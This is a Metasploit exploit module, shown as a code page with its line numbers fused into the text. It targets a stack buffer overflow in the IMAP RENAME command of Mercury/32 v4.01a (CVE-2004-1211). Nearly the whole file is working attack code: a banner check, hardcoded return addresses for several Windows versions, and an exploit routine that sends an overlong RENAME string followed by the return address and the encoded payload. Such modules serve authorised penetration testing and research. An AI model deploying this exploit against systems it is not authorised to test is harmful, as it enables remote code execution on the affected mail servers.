Path: blob/master/modules/exploits/windows/imap/mercury_rename.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow vulnerability in the17Mercury/32 v.4.01a IMAP service.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2004-1211'],23[ 'OSVDB', '12508'],24[ 'BID', '11775'],25[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=15867'],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 500,33'BadChars' => "\x00\x0a\x0d\x20",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }],39['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],40['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],41],42'DisclosureDate' => '2004-11-29',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)50end5152def check53connect54resp = sock.get_once55disconnect5657if (resp =~ /Mercury\/32 v4\.01a/)58return Exploit::CheckCode::Appears59end6061return Exploit::CheckCode::Safe62end6364def exploit65connect_login6667sploit = "a001 RENAME " + rand_text_alpha_upper(260)68sploit << [target.ret].pack('V') + payload.encoded6970sock.put(sploit)7172handler73disconnect74end75end767778